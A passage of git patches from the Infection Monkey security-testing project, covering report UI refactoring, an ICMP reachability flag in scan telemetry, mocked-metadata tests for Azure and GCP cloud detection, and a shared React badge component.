a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js @@ -452,24 +452,58 @@ class ReportPageComponent extends AuthComponent { generateCrossSegmentIssue(crossSegmentIssue) { let crossSegmentIssueOverview = 'Communication possible from ' + crossSegmentIssue['source_subnet'] + ' to ' + crossSegmentIssue['target_subnet'] - return
  • - {crossSegmentIssueOverview} - -
      - {crossSegmentIssue['issues'].map(x => - x['is_self'] ? -
    • - {'Machine ' + x['hostname'] + ' has both ips: ' + x['source'] + ' and ' + x['target']} -
    • - : -
    • - {'IP ' + x['source'] + ' (' + x['hostname'] + ') connected to IP ' + x['target'] - + ' using the services: ' + Object.keys(x['services']).join(', ')} -
    • - )} -
    -
    -
  • ; + + return ( +
  • + {crossSegmentIssueOverview} + +
      + {crossSegmentIssue['issues'].map(issue => this.generateCrossSegmentIssueListItem(issue))} +
    +
    +
  • + ); + } + + generateCrossSegmentIssueListItem(issue) { + if (issue['is_self']) { + return this.generateCrossSegmentSingleHostMessage(issue); + } + + return this.generateCrossSegmentMultiHostMessage(issue); + } + + generateCrossSegmentSingleHostMessage(issue) { + return ( +
  • + {'Machine ' + issue['hostname'] + ' has both ips: ' + issue['source'] + ' and ' + issue['target']} +
  • + ); + } + + generateCrossSegmentMultiHostMessage(issue) { + return ( +
  • + { + Object.keys(issue['services']).length > 0 ? + this.generateCrossSegmentServiceMessage(issue) : + this.generateCrossSegmentPingMessage(issue) + } +
  • + ); + } + + generateCrossSegmentServiceMessage(issue) { + return ( + 'IP ' + issue['source'] + ' (' + issue['hostname'] + ') connected to IP ' + issue['target'] + + ' using the services: ' + Object.keys(issue['services']).join(', ') + ); + } + + generateCrossSegmentPingMessage(issue) { + return ( + `IP ${issue['source']} (${issue['hostname']}) successfully pinged IP ${issue['target']}` + ); } generateShellshockPathListBadges(paths) { From 458e01cf247b066019afbb12ff0897078469f1eb Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 2 Feb 2021 06:49:21 -0500 Subject: [PATCH 231/466] ui: use template strings when generating cross-segment report --- .../src/components/report-components/SecurityReport.js | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js index 9a4e2120a..f8c8fa192 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js @@ -451,7 +451,8 @@ class ReportPageComponent extends AuthComponent { } generateCrossSegmentIssue(crossSegmentIssue) { - let crossSegmentIssueOverview = 'Communication possible from ' + crossSegmentIssue['source_subnet'] + ' to ' + crossSegmentIssue['target_subnet'] + let crossSegmentIssueOverview = 'Communication possible from ' + + `${crossSegmentIssue['source_subnet']} to ${crossSegmentIssue['target_subnet']}`; return (
  • @@ -476,7 +477,7 @@ class ReportPageComponent extends AuthComponent { generateCrossSegmentSingleHostMessage(issue) { return (
  • - {'Machine ' + issue['hostname'] + ' has both ips: ' + issue['source'] + ' and ' + issue['target']} + {`Machine ${issue['hostname']} has both ips: ${issue['source']} and ${issue['target']}`}
  • ); } @@ -495,8 +496,8 @@ class ReportPageComponent extends AuthComponent { generateCrossSegmentServiceMessage(issue) { return ( - 'IP ' + issue['source'] + ' (' + issue['hostname'] + ') connected to IP ' + issue['target'] - + ' using the services: ' + Object.keys(issue['services']).join(', ') + `IP ${issue['source']} (${issue['hostname']}) connected to IP ${issue['target']}` + + ` using the services: ${Object.keys(issue['services']).join(', ')}` ); } From c7a1f246cbfdf4162cd8fca07c2db6505cc4d073 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 2 Feb 2021 11:00:59 -0500 Subject: [PATCH 232/466] agent: add icmp property to VictimHost Keep track of whether or not PingScanner was successful by storing a boolean in VictimHost objects. This information is communicated back to the Monkey Island via telemetry. --- monkey/infection_monkey/model/host.py | 3 ++- monkey/infection_monkey/network/ping_scanner.py | 3 +++ 2 files changed, 5 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/model/host.py b/monkey/infection_monkey/model/host.py index 1a4fef1c8..d71446108 100644 --- a/monkey/infection_monkey/model/host.py +++ b/monkey/infection_monkey/model/host.py @@ -7,6 +7,7 @@ class VictimHost(object): self.domain_name = str(domain_name) self.os = {} self.services = {} + self.icmp = False self.monkey_exe = None self.default_tunnel = None self.default_server = None @@ -40,7 +41,7 @@ class VictimHost(object): victim += "] Services - [" for k, v in list(self.services.items()): victim += "%s-%s " % (k, v) - victim += '] ' + victim += '] ICMP: %s ' % (self.icmp) victim += "target monkey: %s" % self.monkey_exe return victim diff --git a/monkey/infection_monkey/network/ping_scanner.py b/monkey/infection_monkey/network/ping_scanner.py index 27c814593..fd19550a3 100644 --- a/monkey/infection_monkey/network/ping_scanner.py +++ b/monkey/infection_monkey/network/ping_scanner.py @@ -62,6 +62,9 @@ class PingScanner(HostScanner, HostFinger): host.os['type'] = 'linux' else: # as far we we know, could also be OSX/BSD but lets handle that when it comes up. host.os['type'] = 'windows' + + host.icmp = True + return True except Exception as exc: LOG.debug("Error parsing ping fingerprint: %s", exc) From c6bec1335cf7f8590289927766a01314299ed182 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 2 Feb 2021 11:03:39 -0500 Subject: [PATCH 233/466] island: include 'icmp' from scan telemetry in report --- monkey/monkey_island/cc/services/reporting/report.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/services/reporting/report.py b/monkey/monkey_island/cc/services/reporting/report.py index d60d53dec..1e77065d4 100644 --- a/monkey/monkey_island/cc/services/reporting/report.py +++ b/monkey/monkey_island/cc/services/reporting/report.py @@ -510,6 +510,7 @@ class ReportService: 'hostname': monkey['hostname'], 'target': target_ip, 'services': scan['data']['machine']['services'], + 'icmp': scan['data']['machine']['icmp'], 'is_self': False }) @@ -544,7 +545,7 @@ class ReportService: @staticmethod def get_cross_segment_issues(): scans = mongo.db.telemetry.find({'telem_category': 'scan'}, - {'monkey_guid': 1, 'data.machine.ip_addr': 1, 'data.machine.services': 1}) + {'monkey_guid': 1, 'data.machine.ip_addr': 1, 'data.machine.services': 1, 'data.machine.icmp': 1}) cross_segment_issues = [] From 919c51b9202342e0c705fedc815499be121838a3 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 2 Feb 2021 11:06:27 -0500 Subject: [PATCH 234/466] ui: display ICMP in cross-segment issues report --- .../report-components/SecurityReport.js | 38 ++++++++++--------- .../src/styles/pages/report/ReportPage.scss | 9 +++++ 2 files changed, 30 insertions(+), 17 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js index f8c8fa192..1d6072ece 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js @@ -458,8 +458,10 @@ class ReportPageComponent extends AuthComponent {
  • {crossSegmentIssueOverview} -
      - {crossSegmentIssue['issues'].map(issue => this.generateCrossSegmentIssueListItem(issue))} +
        + {crossSegmentIssue['issues'].map( + issue => this.generateCrossSegmentIssueListItem(issue) + )}
      @@ -485,26 +487,28 @@ class ReportPageComponent extends AuthComponent { generateCrossSegmentMultiHostMessage(issue) { return (
    • - { - Object.keys(issue['services']).length > 0 ? - this.generateCrossSegmentServiceMessage(issue) : - this.generateCrossSegmentPingMessage(issue) - } + IP {issue['source']} ({issue['hostname']}) was able to communicate with + IP {issue['target']} using: +
        + {issue['icmp'] &&
      • ICMP
      • } + {this.generateCrossSegmentServiceListItems(issue)} +
    • ); } - generateCrossSegmentServiceMessage(issue) { - return ( - `IP ${issue['source']} (${issue['hostname']}) connected to IP ${issue['target']}` - + ` using the services: ${Object.keys(issue['services']).join(', ')}` - ); - } + generateCrossSegmentServiceListItems(issue) { + let service_list_items = []; - generateCrossSegmentPingMessage(issue) { - return ( - `IP ${issue['source']} (${issue['hostname']}) successfully pinged IP ${issue['target']}` - ); + for (const [service, info] of Object.entries(issue['services'])) { + service_list_items.push( +
    • + {service} ({info['display_name']}) +
    • + ); + } + + return service_list_items; } generateShellshockPathListBadges(paths) { diff --git a/monkey/monkey_island/cc/ui/src/styles/pages/report/ReportPage.scss b/monkey/monkey_island/cc/ui/src/styles/pages/report/ReportPage.scss index 5fb8252fe..088e012f3 100644 --- a/monkey/monkey_island/cc/ui/src/styles/pages/report/ReportPage.scss +++ b/monkey/monkey_island/cc/ui/src/styles/pages/report/ReportPage.scss @@ -76,3 +76,12 @@ div.report-wrapper .nav-tabs > .nav-item > a:hover:not(.active), .nav-tabs > .n text-decoration: none; background-color: $light-gray; } + +ul.cross-segment-issues { + list-style-type: none; + padding: 0px; + margin: 0px; +} +span.cross-segment-service { + text-transform: uppercase; +} From 59383e7946b10870eaee79650d53f7710c4fe408 Mon Sep 17 00:00:00 2001 From: Shreya Date: Sun, 17 Jan 2021 19:35:30 +0530 Subject: [PATCH 235/466] Catch exceptions in AwsInstance and AzureInstance --- monkey/common/cloud/aws/aws_instance.py | 2 +- monkey/common/cloud/azure/azure_instance.py | 9 +++++---- 2 files changed, 6 insertions(+), 5 deletions(-) diff --git a/monkey/common/cloud/aws/aws_instance.py b/monkey/common/cloud/aws/aws_instance.py index d09169407..d75dbdd78 100644 --- a/monkey/common/cloud/aws/aws_instance.py +++ b/monkey/common/cloud/aws/aws_instance.py @@ -45,7 +45,7 @@ class AwsInstance(CloudInstance): self.account_id = self._extract_account_id( urllib.request.urlopen( AWS_LATEST_METADATA_URI_PREFIX + 'dynamic/instance-identity/document', timeout=2).read().decode()) - except (urllib.error.URLError, IOError) as e: + except (urllib.error.URLError, json.decoder.JSONDecodeError, IOError) as e: logger.debug("Failed init of AwsInstance while getting dynamic instance data: {}".format(e)) @staticmethod diff --git a/monkey/common/cloud/azure/azure_instance.py b/monkey/common/cloud/azure/azure_instance.py index af6c85460..2599dc71b 100644 --- a/monkey/common/cloud/azure/azure_instance.py +++ b/monkey/common/cloud/azure/azure_instance.py @@ -1,6 +1,7 @@ import logging import requests +import simplejson from common.cloud.environment_names import Environment from common.cloud.instance import CloudInstance @@ -41,10 +42,10 @@ class AzureInstance(CloudInstance): # If not on cloud, the metadata URL is non-routable and the connection will fail. # If on AWS, should get 404 since the metadata service URL is different, so bool(response) will be false. if response: - logger.debug("On Azure. Trying to parse metadata.") + logger.debug("Trying to parse Azure metadata.") self.try_parse_response(response) else: - logger.warning("On Azure, but metadata response not ok: {}".format(response.status_code)) + logger.warning(f"On Azure, but metadata response not ok: {response.status_code}") except requests.RequestException: logger.debug("Failed to get response from Azure metadata service: This instance is not on Azure.") self.on_azure = False @@ -55,5 +56,5 @@ class AzureInstance(CloudInstance): self.instance_name = response_data["compute"]["name"] self.instance_id = response_data["compute"]["vmId"] self.location = response_data["compute"]["location"] - except KeyError: - logger.exception("Error while parsing response from Azure metadata service.") + except (KeyError, simplejson.errors.JSONDecodeError) as e: + logger.exception(f"Error while parsing response from Azure metadata service: {e}") From adab0436be1508e111a4a054a6b04cf9d75ab03d Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 2 Feb 2021 17:53:25 +0530 Subject: [PATCH 236/466] Add tests for AzureInstance --- monkey/common/cloud/azure/azure_instance.py | 7 +- .../common/cloud/azure/test_azure_instance.py | 179 ++++++++++++++++++ monkey/monkey_island/requirements.txt | 1 + 3 files changed, 183 insertions(+), 4 deletions(-) create mode 100644 monkey/common/cloud/azure/test_azure_instance.py diff --git a/monkey/common/cloud/azure/azure_instance.py b/monkey/common/cloud/azure/azure_instance.py index 2599dc71b..79e6b24da 100644 --- a/monkey/common/cloud/azure/azure_instance.py +++ b/monkey/common/cloud/azure/azure_instance.py @@ -19,7 +19,7 @@ class AzureInstance(CloudInstance): Based on Azure metadata service: https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service """ def is_instance(self): - return self.on_azure + return self._on_azure def get_cloud_provider_name(self) -> Environment: return Environment.AZURE @@ -31,13 +31,12 @@ class AzureInstance(CloudInstance): self.instance_name = None self.instance_id = None self.location = None - self.on_azure = False + self._on_azure = False try: response = requests.get(AZURE_METADATA_SERVICE_URL, headers={"Metadata": "true"}, timeout=SHORT_REQUEST_TIMEOUT) - self.on_azure = True # If not on cloud, the metadata URL is non-routable and the connection will fail. # If on AWS, should get 404 since the metadata service URL is different, so bool(response) will be false. @@ -48,7 +47,6 @@ class AzureInstance(CloudInstance): logger.warning(f"On Azure, but metadata response not ok: {response.status_code}") except requests.RequestException: logger.debug("Failed to get response from Azure metadata service: This instance is not on Azure.") - self.on_azure = False def try_parse_response(self, response): try: @@ -56,5 +54,6 @@ class AzureInstance(CloudInstance): self.instance_name = response_data["compute"]["name"] self.instance_id = response_data["compute"]["vmId"] self.location = response_data["compute"]["location"] + self._on_azure = True except (KeyError, simplejson.errors.JSONDecodeError) as e: logger.exception(f"Error while parsing response from Azure metadata service: {e}") diff --git a/monkey/common/cloud/azure/test_azure_instance.py b/monkey/common/cloud/azure/test_azure_instance.py new file mode 100644 index 000000000..0894205c1 --- /dev/null +++ b/monkey/common/cloud/azure/test_azure_instance.py @@ -0,0 +1,179 @@ +import pytest +import requests +import requests_mock +import simplejson + +from common.cloud.azure.azure_instance import (AZURE_METADATA_SERVICE_URL, + AzureInstance) +from common.cloud.environment_names import Environment + + +GOOD_DATA = { + 'compute': {'azEnvironment': 'AZUREPUBLICCLOUD', + 'isHostCompatibilityLayerVm': 'true', + 'licenseType': 'Windows_Client', + 'location': 'westus', + 'name': 'examplevmname', + 'offer': 'Windows', + 'osProfile': {'adminUsername': 'admin', + 'computerName': 'examplevmname', + 'disablePasswordAuthentication': 'true'}, + 'osType': 'linux', + 'placementGroupId': 'f67c14ab-e92c-408c-ae2d-da15866ec79a', + 'plan': {'name': 'planName', + 'product': 'planProduct', + 'publisher': 'planPublisher'}, + 'platformFaultDomain': '36', + 'platformUpdateDomain': '42', + 'publicKeys': [{'keyData': 'ssh-rsa 0', + 'path': '/home/user/.ssh/authorized_keys0'}, + {'keyData': 'ssh-rsa 1', + 'path': '/home/user/.ssh/authorized_keys1'}], + 'publisher': 'RDFE-Test-Microsoft-Windows-Server-Group', + 'resourceGroupName': 'macikgo-test-may-23', + 'resourceId': '/subscriptions/xxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx/resourceGroups/macikgo-test-may-23/' + 'providers/Microsoft.Compute/virtualMachines/examplevmname', + 'securityProfile': {'secureBootEnabled': 'true', + 'virtualTpmEnabled': 'false'}, + 'sku': 'Windows-Server-2012-R2-Datacenter', + 'storageProfile': {'dataDisks': [{'caching': 'None', + 'createOption': 'Empty', + 'diskSizeGB': '1024', + 'image': {'uri': ''}, + 'lun': '0', + 'managedDisk': {'id': '/subscriptions/xxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx/' + 'resourceGroups/macikgo-test-may-23/providers/' + 'Microsoft.Compute/disks/exampledatadiskname', + 'storageAccountType': 'Standard_LRS'}, + 'name': 'exampledatadiskname', + 'vhd': {'uri': ''}, + 'writeAcceleratorEnabled': 'false'}], + 'imageReference': {'id': '', + 'offer': 'UbuntuServer', + 'publisher': 'Canonical', + 'sku': '16.04.0-LTS', + 'version': 'latest'}, + 'osDisk': {'caching': 'ReadWrite', + 'createOption': 'FromImage', + 'diskSizeGB': '30', + 'diffDiskSettings': {'option': 'Local'}, + 'encryptionSettings': {'enabled': 'false'}, + 'image': {'uri': ''}, + 'managedDisk': {'id': '/subscriptions/xxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx/' + 'resourceGroups/macikgo-test-may-23/providers/' + 'Microsoft.Compute/disks/exampleosdiskname', + 'storageAccountType': 'Standard_LRS'}, + 'name': 'exampleosdiskname', + 'osType': 'Linux', + 'vhd': {'uri': ''}, + 'writeAcceleratorEnabled': 'false'}}, + 'subscriptionId': 'xxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx', + 'tags': 'baz:bash;foo:bar', + 'version': '15.05.22', + 'vmId': '02aab8a4-74ef-476e-8182-f6d2ba4166a6', + 'vmScaleSetName': 'crpteste9vflji9', + 'vmSize': 'Standard_A3', + 'zone': ''}, + 'network': {'interface': [{'ipv4': {'ipAddress': [{'privateIpAddress': '10.144.133.132', + 'publicIpAddress': ''}], + 'subnet': [{'address': '10.144.133.128', + 'prefix': '26'}]}, + 'ipv6': {'ipAddress': []}, + 'macAddress': '0011AAFFBB22'}]} + } + + +BAD_DATA_NOT_JSON = '\n\n\n\n\nWaiting...\n\n\n \n\n' + + +BAD_DATA_JSON = {'': ''} + + +def get_test_azure_instance(url, **kwargs): + with requests_mock.Mocker() as m: + m.get(url, **kwargs) + test_azure_instance_object = AzureInstance() + return test_azure_instance_object + + +# good request, good data +@pytest.fixture +def good_data_mock_instance(): + return get_test_azure_instance(AZURE_METADATA_SERVICE_URL, text=simplejson.dumps(GOOD_DATA)) + + +def test_is_instance_good_data(good_data_mock_instance): + assert good_data_mock_instance.is_instance() + + +def test_get_cloud_provider_name_good_data(good_data_mock_instance): + assert good_data_mock_instance.get_cloud_provider_name() == Environment.AZURE + + +def test_try_parse_response_good_data(good_data_mock_instance): + assert good_data_mock_instance.instance_name == GOOD_DATA['compute']['name'] + assert good_data_mock_instance.instance_id == GOOD_DATA['compute']['vmId'] + assert good_data_mock_instance.location == GOOD_DATA['compute']['location'] + + +# good request, bad data (json) +@pytest.fixture +def bad_data_json_mock_instance(): + return get_test_azure_instance(AZURE_METADATA_SERVICE_URL, text=simplejson.dumps(BAD_DATA_JSON)) + + +def test_is_instance_bad_data_json(bad_data_json_mock_instance): + assert bad_data_json_mock_instance.is_instance() is False + + +def test_get_cloud_provider_name_bad_data_json(bad_data_json_mock_instance): + assert bad_data_json_mock_instance.get_cloud_provider_name() == Environment.AZURE + + +def test_instance_attributes_bad_data_json(bad_data_json_mock_instance): + assert bad_data_json_mock_instance.instance_name is None + assert bad_data_json_mock_instance.instance_id is None + assert bad_data_json_mock_instance.location is None + + +# good request, bad data (not json) +@pytest.fixture +def bad_data_not_json_mock_instance(): + return get_test_azure_instance(AZURE_METADATA_SERVICE_URL, text=BAD_DATA_NOT_JSON) + + +def test_is_instance_bad_data_not_json(bad_data_not_json_mock_instance): + assert bad_data_not_json_mock_instance.is_instance() is False + + +def test_get_cloud_provider_name_bad_data_not_json(bad_data_not_json_mock_instance): + assert bad_data_not_json_mock_instance.get_cloud_provider_name() == Environment.AZURE + + +def test_instance_attributes_bad_data_not_json(bad_data_not_json_mock_instance): + assert bad_data_not_json_mock_instance.instance_name is None + assert bad_data_not_json_mock_instance.instance_id is None + assert bad_data_not_json_mock_instance.location is None + + +# bad request +@pytest.fixture +def bad_request_mock_instance(): + return get_test_azure_instance(AZURE_METADATA_SERVICE_URL, exc=requests.RequestException) + + +def test_is_instance_bad_request(bad_request_mock_instance): + assert bad_request_mock_instance.is_instance() is False + + +def test_get_cloud_provider_name_bad_request(bad_request_mock_instance): + assert bad_request_mock_instance.get_cloud_provider_name() == Environment.AZURE + + +def test_instance_attributes_bad_request(bad_request_mock_instance): + assert bad_request_mock_instance.instance_name is None + assert bad_request_mock_instance.instance_id is None + assert bad_request_mock_instance.location is None diff --git a/monkey/monkey_island/requirements.txt b/monkey/monkey_island/requirements.txt index f1e80161c..3cb3a4e42 100644 --- a/monkey/monkey_island/requirements.txt +++ b/monkey/monkey_island/requirements.txt @@ -18,6 +18,7 @@ pycryptodome==3.9.8 pytest>=5.4 python-dateutil>=2.1,<3.0.0 requests>=2.24 +requests-mock==1.8.0 ring>=0.7.3 stix2>=2.0.2 six>=1.13.0 From 413aa35b5b54577f06839a4793be6f36f21ce065 Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 2 Feb 2021 17:54:13 +0530 Subject: [PATCH 237/466] Rename an old test file --- .../common/cloud/aws/{aws_service_test.py => test_aws_service.py} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename monkey/common/cloud/aws/{aws_service_test.py => test_aws_service.py} (100%) diff --git a/monkey/common/cloud/aws/aws_service_test.py b/monkey/common/cloud/aws/test_aws_service.py similarity index 100% rename from monkey/common/cloud/aws/aws_service_test.py rename to monkey/common/cloud/aws/test_aws_service.py From eed5ea1337f6ec74fc416cac19c94bec05b53020 Mon Sep 17 00:00:00 2001 From: Shreya Date: Thu, 4 Feb 2021 21:02:53 +0530 Subject: [PATCH 238/466] Add tests for GcpInstance --- monkey/common/cloud/gcp/gcp_instance.py | 8 ++-- monkey/common/cloud/gcp/test_gcp_instance.py | 41 ++++++++++++++++++++ 2 files changed, 45 insertions(+), 4 deletions(-) create mode 100644 monkey/common/cloud/gcp/test_gcp_instance.py diff --git a/monkey/common/cloud/gcp/gcp_instance.py b/monkey/common/cloud/gcp/gcp_instance.py index d81fd2186..6c14500db 100644 --- a/monkey/common/cloud/gcp/gcp_instance.py +++ b/monkey/common/cloud/gcp/gcp_instance.py @@ -17,13 +17,13 @@ class GcpInstance(CloudInstance): Used to determine if on GCP. See https://cloud.google.com/compute/docs/storing-retrieving-metadata#runninggce """ def is_instance(self): - return self.on_gcp + return self._on_gcp def get_cloud_provider_name(self) -> Environment: return Environment.GCP def __init__(self): - self.on_gcp = False + self._on_gcp = False try: # If not on GCP, this domain shouldn't resolve. @@ -31,7 +31,7 @@ class GcpInstance(CloudInstance): if response: logger.debug("Got ok metadata response: on GCP") - self.on_gcp = True + self._on_gcp = True if "Metadata-Flavor" not in response.headers: logger.warning("Got unexpected GCP Metadata format") @@ -42,4 +42,4 @@ class GcpInstance(CloudInstance): logger.warning("On GCP, but metadata response not ok: {}".format(response.status_code)) except requests.RequestException: logger.debug("Failed to get response from GCP metadata service: This instance is not on GCP") - self.on_gcp = False + self._on_gcp = False diff --git a/monkey/common/cloud/gcp/test_gcp_instance.py b/monkey/common/cloud/gcp/test_gcp_instance.py new file mode 100644 index 000000000..46620f339 --- /dev/null +++ b/monkey/common/cloud/gcp/test_gcp_instance.py @@ -0,0 +1,41 @@ +import pytest +import requests +import requests_mock + +from common.cloud.environment_names import Environment +from common.cloud.gcp.gcp_instance import GCP_METADATA_SERVICE_URL, GcpInstance + + +def get_test_gcp_instance(url, **kwargs): + with requests_mock.Mocker() as m: + m.get(url, **kwargs) + test_gcp_instance_object = GcpInstance() + return test_gcp_instance_object + + +# good request +@pytest.fixture +def good_request_mock_instance(): + return get_test_gcp_instance(GCP_METADATA_SERVICE_URL) + + +def test_is_instance_good_request(good_request_mock_instance): + assert good_request_mock_instance.is_instance() + + +def test_get_cloud_provider_name_good_request(good_request_mock_instance): + assert good_request_mock_instance.get_cloud_provider_name() == Environment.GCP + + +# bad request +@pytest.fixture +def bad_request_mock_instance(): + return get_test_gcp_instance(GCP_METADATA_SERVICE_URL, exc=requests.RequestException) + + +def test_is_instance_bad_request(bad_request_mock_instance): + assert bad_request_mock_instance.is_instance() is False + + +def test_get_cloud_provider_name_bad_request(bad_request_mock_instance): + assert bad_request_mock_instance.get_cloud_provider_name() == Environment.GCP From bcfa8fff788f559cb5c56e0f70b5fd71c92dada3 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 5 Feb 2021 11:03:27 +0200 Subject: [PATCH 239/466] Extracted count badge into a separate component which is reused between scoutsuite rules button and monkey events button --- .../zerotrust/EventsButton.js | 10 +++------- .../scoutsuite/ScoutSuiteRuleButton.js | 12 ++---------- .../src/components/ui-components/CountBadge.js | 18 ++++++++++++++++++ 3 files changed, 23 insertions(+), 17 deletions(-) create mode 100644 monkey/monkey_island/cc/ui/src/components/ui-components/CountBadge.js diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsButton.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsButton.js index 95fe93c4d..9f36c2b38 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsButton.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsButton.js @@ -1,10 +1,11 @@ import React, {Component, Fragment} from 'react'; import EventsModal from './EventsModal'; -import {Badge, Button} from 'react-bootstrap'; +import {Button} from 'react-bootstrap'; import * as PropTypes from 'prop-types'; import { FontAwesomeIcon } from '@fortawesome/react-fontawesome'; import { faList } from '@fortawesome/free-solid-svg-icons/faList'; +import CountBadge from '../../ui-components/CountBadge'; export default class EventsButton extends Component { constructor(props) { @@ -33,16 +34,11 @@ export default class EventsButton extends Component { exportFilename={this.props.exportFilename}/>
      ; } - - createEventsAmountBadge() { - const eventsAmountBadgeContent = this.props.event_count > 9 ? '9+' : this.props.event_count; - return {eventsAmountBadgeContent}; - } } EventsButton.propTypes = { diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteRuleButton.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteRuleButton.js index 4b46c7c3b..b3809ec27 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteRuleButton.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteRuleButton.js @@ -5,6 +5,7 @@ import * as PropTypes from 'prop-types'; import {FontAwesomeIcon} from '@fortawesome/react-fontawesome'; import {faList} from '@fortawesome/free-solid-svg-icons/faList'; import ScoutSuiteRuleModal from './ScoutSuiteRuleModal'; +import CountBadge from '../../../ui-components/CountBadge'; export default class ScoutSuiteRuleButton extends Component { constructor(props) { @@ -28,7 +29,7 @@ export default class ScoutSuiteRuleButton extends Component {
      ); @@ -39,15 +40,6 @@ export default class ScoutSuiteRuleButton extends Component { } } -function RuleCountBadge(props) { - const MAX_RULE_COUNT_TO_SHOW = 9; - const TEXT_FOR_LARGE_RULE_COUNT = MAX_RULE_COUNT_TO_SHOW + '+'; - - const ruleCountText = props.count > MAX_RULE_COUNT_TO_SHOW ? - TEXT_FOR_LARGE_RULE_COUNT : props.count; - return {ruleCountText}; -} - ScoutSuiteRuleButton.propTypes = { scoutsuite_rules: PropTypes.array, scoutsuite_data: PropTypes.object diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/CountBadge.js b/monkey/monkey_island/cc/ui/src/components/ui-components/CountBadge.js new file mode 100644 index 000000000..43b2ec518 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/CountBadge.js @@ -0,0 +1,18 @@ +import {Badge} from 'react-bootstrap'; +import React from 'react'; + + +function CountBadge(props) { + const TEXT_FOR_LARGE_RULE_COUNT = props.maxCount + '+'; + + const ruleCountText = props.count > props.maxCount ? + TEXT_FOR_LARGE_RULE_COUNT : props.count; + + return {ruleCountText}; +} + +CountBadge.defaultProps = { + maxCount: 9 +} + +export default CountBadge; From 944406725042daa6080ac3a3ae053a3d039b9d54 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 5 Feb 2021 11:05:22 +0200 Subject: [PATCH 240/466] Added comments, type hints and other minor changes in the scoutsuite code --- .../cc/resources/zero_trust/zero_trust_report.py | 1 + .../monkey_findings/monkey_zt_finding_service.py | 2 +- .../scoutsuite/consts/scoutsuite_findings.py | 2 +- .../zero_trust/test_common/monkey_finding_data.py | 2 +- .../zerotrust/scoutsuite/RuleDisplay.js | 4 ++++ .../zerotrust/scoutsuite/ScoutSuiteDataParser.js | 11 +++++++++++ 6 files changed, 19 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island/cc/resources/zero_trust/zero_trust_report.py b/monkey/monkey_island/cc/resources/zero_trust/zero_trust_report.py index a85499b2f..a69ea50c0 100644 --- a/monkey/monkey_island/cc/resources/zero_trust/zero_trust_report.py +++ b/monkey/monkey_island/cc/resources/zero_trust/zero_trust_report.py @@ -26,6 +26,7 @@ class ZeroTrustReport(flask_restful.Resource): elif report_data == REPORT_DATA_FINDINGS: return jsonify(FindingService.get_all_findings()) elif report_data == REPORT_DATA_SCOUTSUITE: + # Raw ScoutSuite data is already solved as json, no need to jsonify return Response(ScoutSuiteRawDataService.get_scoutsuite_data_json(), mimetype='application/json') diff --git a/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_finding_service.py b/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_finding_service.py index c3c45e69e..7ed184559 100644 --- a/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_finding_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_finding_service.py @@ -11,7 +11,7 @@ from monkey_island.cc.models.zero_trust.monkey_finding_details import MonkeyFind class MonkeyZTFindingService: @staticmethod - def create_or_add_to_existing(test, status, events): + def create_or_add_to_existing(test: str, status: str, events: str): """ Create a new finding or add the events to an existing one if it's the same (same meaning same status and same test). diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/scoutsuite_findings.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/scoutsuite_findings.py index 3368cbbdf..0881b4733 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/scoutsuite_findings.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/scoutsuite_findings.py @@ -22,7 +22,7 @@ from .rule_names.vpc_rules import VPCRules class ScoutSuiteFinding(ABC): @property @abstractmethod - def rules(self) -> List[str]: + def rules(self) -> List[EC2Rules]: pass @property diff --git a/monkey/monkey_island/cc/services/zero_trust/test_common/monkey_finding_data.py b/monkey/monkey_island/cc/services/zero_trust/test_common/monkey_finding_data.py index d727ea9e8..b0050a8c9 100644 --- 